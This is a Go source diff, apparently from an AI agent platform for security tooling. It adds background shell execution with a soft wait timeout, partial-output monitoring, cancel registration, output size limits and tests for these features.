t.Fatal("real failures must not display as background running")
}
jsonBody := `{
"execution_id": "e98baefc-72eb-4a7e-9091-9be179a75d71",
"tool": "exec",
"status": "running"
}
本次等待已到达 timeout_seconds上述 execution 仍未完成可继续等待取消或采用其他步骤`
if !isMCPBackgroundWaitResult(jsonBody) {
t.Fatal("json wait_tool_execution timeout should display as background running")
}
if got := mcpExecutionIDFromWaitResult(jsonBody); got != "e98baefc-72eb-4a7e-9091-9be179a75d71" {
t.Fatalf("json execution id = %q", got)
}
}
+22 -1
View File
@@ -12,6 +12,9 @@ import (
// 与 CallTool 路径一致,使监控页能展示「执行中」状态。
func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, recorder einomcp.ExecutionRecorder) (
begin func(toolCallID, command string) string,
appendPartial func(executionID, toolCallID, chunk string),
registerCancel func(executionID string, cancel context.CancelFunc),
unregisterCancel func(executionID string),
finish func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
) {
begin = func(toolCallID, command string) string {
@@ -25,6 +28,24 @@ func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, record
}
return id
}
appendPartial = func(executionID, toolCallID, chunk string) {
if ag == nil || executionID == "" || chunk == "" {
return
}
ag.AppendLocalToolExecutionPartialOutput(executionID, chunk)
}
registerCancel = func(executionID string, cancel context.CancelFunc) {
if ag == nil || executionID == "" || cancel == nil {
return
}
ag.RegisterLocalToolExecutionCancel(executionID, cancel)
}
unregisterCancel = func(executionID string) {
if ag == nil || executionID == "" {
return
}
ag.UnregisterLocalToolExecutionCancel(executionID)
}
finish = func(executionID, toolCallID, command, stdout string, success bool, invokeErr error) {
if ag == nil {
return
@@ -43,5 +64,5 @@ func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, record
recorder(id, toolCallID)
}
}
return begin, finish
return begin, appendPartial, registerCancel, unregisterCancel, finish
}
@@ -63,11 +63,16 @@ type einoStreamingShellWrap struct {
outputChunk func(toolName, toolCallID, chunk string)
// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐;>0 时对单次 execute 套用 context 超时(与 MCP 工具经 executeToolViaMCP 行为一致)。0 表示仅依赖上层 ctx(如整任务 10h 上限)。
toolTimeoutMinutes int
// toolWaitTimeoutSeconds 与 agent.tool_wait_timeout_seconds 对齐;>0 时本轮等待到期后返回 execution_idshell 继续后台运行。
toolWaitTimeoutSeconds int
// shellNoOutputTimeoutSec:无任何输出时的空闲秒数;0=关闭。
shellNoOutputTimeoutSec int
// beginMonitor 在 execute 开始时写入 running 状态;finishMonitor 在流结束后更新为 completed/failed。
beginMonitor func(toolCallID, command string) string
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error)
beginMonitor func(toolCallID, command string) string
appendPartialMonitor func(executionID, toolCallID, chunk string)
registerCancelMonitor func(executionID string, cancel context.CancelFunc)
unregisterCancelMonitor func(executionID string)
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error)
}
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
@@ -104,6 +109,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if w.toolTimeoutMinutes > 0 {
execCtx, timeoutCancel = context.WithTimeout(execCtx, time.Duration(w.toolTimeoutMinutes)*time.Minute)
}
if monitorExecID != "" && w.registerCancelMonitor != nil {
w.registerCancelMonitor(monitorExecID, execCancel)
}
if execReg != nil && convID != "" {
execReg.RegisterActiveEinoExecute(convID, execCancel)
}
@@ -116,6 +124,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if execCancel != nil {
execCancel()
}
if monitorExecID != "" && w.unregisterCancelMonitor != nil {
w.unregisterCancelMonitor(monitorExecID)
}
if einoExecuteRecvErrIsToolTimeout(err, execCtx) {
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
if w.finishMonitor != nil {
@@ -146,7 +157,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
outR, outW := schema.Pipe[*filesystem.ExecuteResponse](32)
go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, timeoutCleanup context.CancelFunc, tctx context.Context, conversationID string, reg mcp.EinoExecuteRunRegistry, toolReg mcp.ToolRunRegistry, execID string, toolCallID string, noOutputSec int) {
go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, timeoutCleanup context.CancelFunc, tctx context.Context, conversationID string, reg mcp.EinoExecuteRunRegistry, toolReg mcp.ToolRunRegistry, execID string, toolCallID string, noOutputSec int, waitTimeoutSec int) {
var innerCloseOnce sync.Once
closeInner := func() {
innerCloseOnce.Do(func() { inner.Close() })
@@ -164,6 +175,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if toolReg != nil && conversationID != "" && execID != "" {
defer toolReg.UnregisterRunningTool(conversationID, execID)
}
if w.unregisterCancelMonitor != nil && execID != "" {
defer w.unregisterCancelMonitor(execID)
}
// ctx 取消时关闭内层流,避免 amass 等长时间无换行输出时 Recv 永久阻塞。
stopWatch := make(chan struct{})
@@ -181,11 +195,30 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
var invokeErr error
exitCode := 0
hasExitCode := false
softReturned := false
var outCloseOnce sync.Once
closeOut := func() {
outCloseOnce.Do(func() { outW.Close() })
}
defer closeOut()
sendOut := func(resp *filesystem.ExecuteResponse, err error) bool {
if softReturned {
return false
}
return outW.Send(resp, err)
}
idleWatch := security.NewShellInactivityWatch(noOutputSec)
if idleWatch != nil {
defer idleWatch.Stop()
}
var waitTimeoutCh <-chan time.Time
var waitTimer *time.Timer
if waitTimeoutSec > 0 {
waitTimer = time.NewTimer(time.Duration(waitTimeoutSec) * time.Second)
waitTimeoutCh = waitTimer.C
defer waitTimer.Stop()
}
type execRecvMsg struct {
resp *filesystem.ExecuteResponse
@@ -206,8 +239,11 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
success = false
invokeErr = fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
msg := security.ShellNoOutputTimeoutMessage(idleWatch.Sec)
_ = outW.Send(&filesystem.ExecuteResponse{Output: msg}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: msg}, nil)
sb.WriteString(msg)
if w.appendPartialMonitor != nil && execID != "" {
w.appendPartialMonitor(execID, toolCallID, msg)
}
if w.outputChunk != nil && toolCallID != "" {
w.outputChunk("execute", toolCallID, msg)
}
@@ -227,6 +263,14 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
case <-idleCh:
fireInactivityTimeout()
break recvLoop
case <-waitTimeoutCh:
if execID != "" && !softReturned {
msg := einoExecuteSoftWaitTimeoutResult(execID, waitTimeoutSec)
_ = outW.Send(&filesystem.ExecuteResponse{Output: msg}, nil)
softReturned = true
closeOut()
}
waitTimeoutCh = nil
case msg := <-recvCh:
rerr := msg.err
resp := msg.resp
@@ -244,7 +288,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
invokeErr = context.Canceled
break recvLoop
}
_ = outW.Send(nil, rerr)
_ = sendOut(nil, rerr)
break recvLoop
}
if resp != nil {
@@ -263,11 +307,14 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
}
sb.WriteString(resp.Output)
appended = resp.Output
if w.appendPartialMonitor != nil && execID != "" {
w.appendPartialMonitor(execID, toolCallID, appended)
}
}
if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
w.outputChunk("execute", toolCallID, appended)
}
if outW.Send(resp, nil) {
if sendOut(resp, nil) {
success = false
invokeErr = fmt.Errorf("execute stream closed by consumer")
break recvLoop
@@ -304,7 +351,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
// ADK 从本 Pipe 拼出 tool 消息正文;仅 Notify 尾标不会进入模型上下文。超时句写入流,与 UI 一致。
if invokeErr != nil && errors.Is(invokeErr, context.DeadlineExceeded) {
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
_ = outW.Send(&filesystem.ExecuteResponse{Output: hint}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: hint}, nil)
if w.appendPartialMonitor != nil && execID != "" {
w.appendPartialMonitor(execID, toolCallID, hint)
}
if w.outputChunk != nil && tid != "" {
w.outputChunk("execute", tid, hint)
}
@@ -313,9 +363,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
// 中断时循环内已逐行写入 stdout;此处只追加 USER INTERRUPT NOTE,避免整段输出重复。
if invokeErr != nil && errors.Is(invokeErr, context.Canceled) && abortNote != "" {
if partialStreamed != "" {
_ = outW.Send(&filesystem.ExecuteResponse{Output: "\n\n" + mcp.AbortNoteBannerForModel + "\n" + abortNote}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: "\n\n" + mcp.AbortNoteBannerForModel + "\n" + abortNote}, nil)
} else if text := strings.TrimSpace(sb.String()); text != "" {
_ = outW.Send(&filesystem.ExecuteResponse{Output: text + "\n"}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: text + "\n"}, nil)
}
}
rawOutput := sb.String()
@@ -323,7 +373,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if !success && hasExitCode && exitCode != 0 {
statusLine := security.ExecuteFailureStatusLine(exitCode)
if !strings.Contains(rawOutput, "命令执行失败:") {
_ = outW.Send(&filesystem.ExecuteResponse{Output: statusLine}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: statusLine}, nil)
if w.appendPartialMonitor != nil && execID != "" {
w.appendPartialMonitor(execID, toolCallID, statusLine)
}
sb.WriteString(statusLine)
}
fireBody = einomcp.ToolErrorPrefix + security.FormatCommandFailureResult(exitCode, rawOutput)
@@ -332,10 +385,25 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
w.finishMonitor(execID, toolCallID, command, sb.String(), success, invokeErr)
}
if w.invokeNotify != nil {
w.invokeNotify.Fire(toolCallID, "execute", agentTag, success, fireBody, invokeErr)
if !softReturned {
w.invokeNotify.Fire(toolCallID, "execute", agentTag, success, fireBody, invokeErr)
}
}
outW.Close()
}(sr, userCmd, execCancel, timeoutCancel, execCtx, convID, execReg, toolRunReg, monitorExecID, tid, w.shellNoOutputTimeoutSec)
}(sr, userCmd, execCancel, timeoutCancel, execCtx, convID, execReg, toolRunReg, monitorExecID, tid, w.shellNoOutputTimeoutSec, w.toolWaitTimeoutSeconds)
return outR, nil
}
func einoExecuteSoftWaitTimeoutResult(executionID string, waitTimeoutSec int) string {
waitText := "configured wait timeout"
if waitTimeoutSec > 0 {
waitText = fmt.Sprintf("%ds", waitTimeoutSec)
}
return fmt.Sprintf(`工具已提交到后台执行当前仍在运行
execution_id: %s
status: running
wait_timeout: %s
你可以继续推理改用其他工具或调用 get_tool_execution / wait_tool_execution 读取 partial_output 并继续等待也可以调用 cancel_tool_execution 取消`, executionID, waitText)
}
@@ -153,6 +153,81 @@ func TestEinoStreamingShellWrap_InactivityAfterPartialOutput(t *testing.T) {
}
}
func TestEinoStreamingShellWrap_SoftWaitTimeoutReturnsExecutionIDAndKeepsRunning(t *testing.T) {
inner := &mockStreamingShellPartialThenHang{}
partialCh := make(chan string, 4)
cancelCh := make(chan context.CancelFunc, 1)
unregistered := make(chan string, 1)
wrap := &einoStreamingShellWrap{
inner: inner,
toolWaitTimeoutSeconds: 1,
beginMonitor: func(toolCallID, command string) string {
return "exec-soft-wait"
},
appendPartialMonitor: func(executionID, toolCallID, chunk string) {
partialCh <- chunk
},
registerCancelMonitor: func(executionID string, cancel context.CancelFunc) {
if executionID == "exec-soft-wait" {
cancelCh <- cancel
}
},
unregisterCancelMonitor: func(executionID string) {
unregistered <- executionID
},
}
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
sr, err := wrap.ExecuteStreaming(ctx, &filesystem.ExecuteRequest{Command: "sudo whoami"})
if err != nil {
t.Fatalf("ExecuteStreaming: %v", err)
}
defer sr.Close()
var got strings.Builder
for {
resp, rerr := sr.Recv()
if errors.Is(rerr, io.EOF) {
break
}
if rerr != nil {
t.Fatalf("recv: %v", rerr)
}
if resp != nil {
got.WriteString(resp.Output)
}
}
body := got.String()
if !strings.Contains(body, "execution_id: exec-soft-wait") || !strings.Contains(body, "status: running") {
t.Fatalf("expected background execution marker, got: %q", body)
}
select {
case chunk := <-partialCh:
if !strings.Contains(chunk, "[sudo] password") {
t.Fatalf("unexpected partial chunk: %q", chunk)
}
default:
t.Fatal("expected streamed partial output before soft wait return")
}
if !inner.called {
t.Fatal("inner shell did not run")
}
select {
case registeredCancel := <-cancelCh:
registeredCancel()
case <-time.After(time.Second):
t.Fatal("expected execution cancel registration")
}
select {
case id := <-unregistered:
if id != "exec-soft-wait" {
t.Fatalf("unexpected unregistered id: %q", id)
}
case <-time.After(time.Second):
t.Fatal("expected execution cancel unregister")
}
}
type mockStreamingShellHanging struct {
called bool
}
+2 -2
View File
@@ -82,7 +82,7 @@ func RunEinoSingleChatModelAgent(
}
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
einoExecBegin, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
mainDefs := ag.ToolsForRole(roleTools)
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, einoSingleAgentName)
if err != nil {
@@ -139,7 +139,7 @@ func RunEinoSingleChatModelAgent(
}
if einoSkillMW != nil {
if einoFSTools && einoLoc != nil {
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
if fsErr != nil {
return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
}
+15
View File
@@ -107,8 +107,12 @@ func subAgentFilesystemMiddleware(
invokeNotify *einomcp.ToolInvokeNotifyHolder,
einoAgentName string,
beginMonitor func(toolCallID, command string) string,
appendPartialMonitor func(executionID, toolCallID, chunk string),
registerCancelMonitor func(executionID string, cancel context.CancelFunc),
unregisterCancelMonitor func(executionID string),
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
toolTimeoutMinutes int,
toolWaitTimeoutSeconds int,
shellNoOutputTimeoutSec int,
outputChunk func(toolName, toolCallID, chunk string),
) (adk.ChatModelAgentMiddleware, error) {
@@ -123,8 +127,12 @@ func subAgentFilesystemMiddleware(
einoAgentName: strings.TrimSpace(einoAgentName),
outputChunk: outputChunk,
beginMonitor: beginMonitor,
appendPartialMonitor: appendPartialMonitor,
registerCancelMonitor: registerCancelMonitor,
unregisterCancelMonitor: unregisterCancelMonitor,
finishMonitor: finishMonitor,
toolTimeoutMinutes: toolTimeoutMinutes,
toolWaitTimeoutSeconds: toolWaitTimeoutSeconds,
shellNoOutputTimeoutSec: shellNoOutputTimeoutSec,
},
})
@@ -138,6 +146,13 @@ func agentToolTimeoutMinutes(cfg *config.Config) int {
return cfg.Agent.ToolTimeoutMinutes
}
func agentToolWaitTimeoutSeconds(cfg *config.Config) int {
if cfg == nil {
return 0
}
return cfg.Agent.ToolWaitTimeoutSeconds
}
// agentShellNoOutputTimeoutSeconds0=默认 300s5 分钟);-1=关闭;>0=自定义秒数。
func agentShellNoOutputTimeoutSeconds(cfg *config.Config) int {
if cfg == nil {
+8 -4
View File
@@ -135,7 +135,7 @@ func RunDeepAgent(
mcpIDs = append(mcpIDs, id)
mcpIDsMu.Unlock()
}
einoExecBegin, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
// 与单代理流式一致:在 response_start / response_delta 的 data 中带当前 mcpExecutionIds,供主聊天绑定复制与展示。
snapshotMCPIDs := func() []string {
@@ -240,7 +240,7 @@ func RunDeepAgent(
}
if einoSkillMW != nil {
if einoFSTools && einoLoc != nil {
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
if fsErr != nil {
return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
}
@@ -387,8 +387,12 @@ func RunDeepAgent(
einoAgentName: orchestratorName,
outputChunk: nil,
beginMonitor: einoExecBegin,
appendPartialMonitor: einoExecAppendPartial,
registerCancelMonitor: einoExecRegisterCancel,
unregisterCancelMonitor: einoExecUnregisterCancel,
finishMonitor: einoExecFinish,
toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
toolWaitTimeoutSeconds: agentToolWaitTimeoutSeconds(appCfg),
shellNoOutputTimeoutSec: agentShellNoOutputTimeoutSeconds(appCfg),
}
}
@@ -486,7 +490,7 @@ func RunDeepAgent(
// 构建 filesystem 中间件(与 Deep sub-agent 一致)
var peFsMw adk.ChatModelAgentMiddleware
if einoSkillMW != nil && einoFSTools && einoLoc != nil {
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
if err != nil {
return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
}
@@ -715,7 +719,7 @@ func historyToMessages(history []agent.ChatMessage, appCfg *config.Config, mwCfg
opts = append(opts, schema.WithToolName(tn))
}
content := h.Content
if !h.ModelFacingTrace {
if !h.ModelFacingTrace || (toolContentMax > 0 && len(content) > toolContentMax) {
content = normalizeRestoredToolContent(content, toolContentMax)
}
raw = append(raw, schema.ToolMessage(content, h.ToolCallID, opts...))
@@ -44,7 +44,7 @@ func TestHistoryToMessagesNormalizesLegacyRawToolOutput(t *testing.T) {
func TestHistoryToMessagesRestoresModelFacingTraceByteForByte(t *testing.T) {
mw := &config.MultiAgentEinoMiddlewareConfig{
ReductionMaxLengthForTrunc: 128,
ReductionMaxLengthForTrunc: 4096,
LatestUserMessageMaxRunes: 64,
}
userContent := strings.Repeat("model-facing-user-", 100)
@@ -66,6 +66,24 @@ func TestHistoryToMessagesRestoresModelFacingTraceByteForByte(t *testing.T) {
}
}
func TestHistoryToMessagesCapsOversizedModelFacingToolTrace(t *testing.T) {
mw := &config.MultiAgentEinoMiddlewareConfig{ReductionMaxLengthForTrunc: 128}
h := []agent.ChatMessage{
{Role: "assistant", ModelFacingTrace: true, ToolCalls: []agent.ToolCall{{ID: "t1", Type: "function", Function: agent.FunctionCall{Name: "exec"}}}},
{Role: "tool", ToolCallID: "t1", ToolName: "exec", Content: strings.Repeat("model-facing-tool-", 1000), ModelFacingTrace: true},
}
msgs := historyToMessages(h, nil, mw)
if len(msgs) != 2 {
t.Fatalf("len=%d", len(msgs))
}
if len(msgs[1].Content) > 128 {
t.Fatalf("restored model-facing tool bytes=%d, want <=128", len(msgs[1].Content))
}
if !strings.Contains(msgs[1].Content, "legacy tool output discarded") {
t.Fatalf("missing cap marker: %q", msgs[1].Content)
}
}
func TestHistoryToMessagesNeverReinjectsRawOversizedUserFallback(t *testing.T) {
appCfg := &config.Config{OpenAI: config.OpenAIConfig{MaxTotalTokens: 10000}}
mw := &config.MultiAgentEinoMiddlewareConfig{LatestUserMessageMaxRunes: 8000}
+259 -32
View File
@@ -16,8 +16,10 @@ import (
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/tooloutput"
"github.com/creack/pty"
"github.com/google/uuid"
"go.uber.org/zap"
)
@@ -37,6 +39,8 @@ type Executor struct {
mcpServer *mcp.Server
logger *zap.Logger
shellNoOutputTimeoutSec int // execute/exec 无新输出空闲秒数;0=默认 300-1=关闭(见 SetShellNoOutputTimeoutSeconds
toolOutputMaxBytes int
spillRootDir string
}
// NewExecutor 创建新的执行器
@@ -57,6 +61,51 @@ func (e *Executor) SetShellNoOutputTimeoutSeconds(sec int) {
e.shellNoOutputTimeoutSec = sec
}
// SetToolOutputMaxBytes limits stdout/stderr retained and streamed by exec-like
// tools. It should stay aligned with MCP result normalization so every channel
// sees the same bounded payload. Oversized full output is spilled to disk first.
func (e *Executor) SetToolOutputMaxBytes(maxBytes int) {
e.toolOutputMaxBytes = maxBytes
}
// SetToolOutputSpillRoot sets the reduction-compatible root for spilling full
// exec stdout/stderr when the in-memory bound is exceeded (empty → tmp/reduction).
func (e *Executor) SetToolOutputSpillRoot(rootDir string) {
e.spillRootDir = strings.TrimSpace(rootDir)
}
func (e *Executor) wrapToolOutputCallback(ctx context.Context, cb ToolOutputCallback) ToolOutputCallback {
executionID := mcp.MCPExecutionIDFromContext(ctx)
if e == nil || e.mcpServer == nil || strings.TrimSpace(executionID) == "" {
return cb
}
return func(chunk string) {
if chunk != "" {
e.mcpServer.AppendToolExecutionPartialOutput(executionID, chunk)
}
if cb != nil {
cb(chunk)
}
}
}
func (e *Executor) spillOptsFromContext(ctx context.Context) tooloutput.SpillOpts {
root := ""
if e != nil {
root = e.spillRootDir
}
opts := tooloutput.SpillOpts{RootDir: root}
if ctx != nil {
opts.ConversationID = mcp.MCPConversationIDFromContext(ctx)
opts.ProjectID = mcp.MCPProjectIDFromContext(ctx)
opts.ExecutionID = mcp.MCPExecutionIDFromContext(ctx)
}
if opts.ExecutionID == "" {
opts.ExecutionID = uuid.NewString()
}
return opts
}
// buildToolIndex 构建工具索引,将 O(n) 查找优化为 O(1)
func (e *Executor) buildToolIndex() {
e.toolIndex = make(map[string]*config.ToolConfig)
@@ -149,9 +198,11 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
var output string
var err error
// 如果上层提供了 stdout/stderr 增量回调,则边执行边读取并回调。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec))
spill := e.spillOptsFromContext(ctx)
// 如果上层提供了 stdout/stderr 增量回调,或当前处于 MCP execution 中,则边执行边读取并回调。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" {
cb = e.wrapToolOutputCallback(ctx, cb)
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill)
if err != nil && shouldRetryWithPTY(output) {
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
zap.String("tool", toolName),
@@ -159,11 +210,11 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
applyDefaultTerminalEnv(cmd2)
_ = prepareShellCmdSession(cmd2)
output, err = runCommandWithPTY(ctx, cmd2, cb)
output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill)
}
} else {
// 非流式:内存缓冲 + ctx 取消杀进程组;行为对齐原 CombinedOutput,避免双流管道 fan-in 死锁。
output, err = combinedOutputCancellable(ctx, cmd)
output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill)
if err != nil && shouldRetryWithPTY(output) {
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
zap.String("tool", toolName),
@@ -171,7 +222,7 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
applyDefaultTerminalEnv(cmd2)
_ = prepareShellCmdSession(cmd2)
output, err = runCommandWithPTY(ctx, cmd2, nil)
output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill)
}
}
if err != nil {
@@ -912,9 +963,11 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
// 非后台命令:等待输出
var output string
var err error
// 若上层提供工具输出增量回调,则边执行边流式读取。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec))
spill := e.spillOptsFromContext(ctx)
// 若上层提供工具输出增量回调,或当前处于 MCP execution 中,则边执行边流式读取。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" {
cb = e.wrapToolOutputCallback(ctx, cb)
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill)
if err != nil && shouldRetryWithPTY(output) {
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
@@ -922,10 +975,10 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
cmd2.Dir = workDir
}
ConfigureShellCmdForAgentExecute(cmd2)
output, err = runCommandWithPTY(ctx, cmd2, cb)
output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill)
}
} else {
output, err = combinedOutputCancellable(ctx, cmd)
output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill)
if err != nil && shouldRetryWithPTY(output) {
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
@@ -933,7 +986,7 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
cmd2.Dir = workDir
}
ConfigureShellCmdForAgentExecute(cmd2)
output, err = runCommandWithPTY(ctx, cmd2, nil)
output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill)
}
}
if err != nil {
@@ -974,9 +1027,19 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
// 非流式路径不使用双流管道 fan-in,避免 stderr 撑满管道缓冲区时与 stdout 互相阻塞导致死锁。
// 无输出空闲检测由上层 agent.tool_timeout_minutes 兜底,不改变原 CombinedOutput 语义。
func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, error) {
var stdoutBuf, stderrBuf strings.Builder
cmd.Stdout = &stdoutBuf
cmd.Stderr = &stderrBuf
return combinedOutputCancellableWithLimit(ctx, cmd, 0, tooloutput.SpillOpts{})
}
func combinedOutputCancellableWithLimit(ctx context.Context, cmd *exec.Cmd, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
var tee *tooloutput.Tee
if maxBytes > 0 {
tee = tooloutput.NewTee(spill)
defer func() { _ = tee.Close() }()
}
stdoutBuf := newBoundedOutputCollector(maxBytes, tee)
stderrBuf := newBoundedOutputCollector(maxBytes, tee)
cmd.Stdout = stdoutBuf
cmd.Stderr = stderrBuf
session, err := StartShellSession(cmd)
if err != nil {
@@ -1003,9 +1066,9 @@ func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, erro
case waitErr = <-done:
case <-ctx.Done():
waitErr = <-done
return joinCommandOutput(stdoutBuf.String(), stderrBuf.String()), ctx.Err()
return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), ctx.Err()
}
return joinCommandOutput(stdoutBuf.String(), stderrBuf.String()), waitErr
return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), waitErr
}
func joinCommandOutput(stdout, stderr string) string {
@@ -1018,9 +1081,164 @@ func joinCommandOutput(stdout, stderr string) string {
return stdout + stderr
}
type boundedOutputCollector struct {
builder strings.Builder
maxBytes int
seenBytes int
truncated bool
tee *tooloutput.Tee
}
func newBoundedOutputCollector(maxBytes int, tee *tooloutput.Tee) *boundedOutputCollector {
return &boundedOutputCollector{maxBytes: maxBytes, tee: tee}
}
func (b *boundedOutputCollector) Write(p []byte) (int, error) {
b.WriteStringLimited(string(p))
return len(p), nil
}
func (b *boundedOutputCollector) WriteStringLimited(s string) string {
if b == nil {
return ""
}
if b.tee != nil {
_, _ = b.tee.Write([]byte(s))
}
if b.maxBytes <= 0 {
b.seenBytes += len(s)
b.builder.WriteString(s)
return s
}
b.seenBytes += len(s)
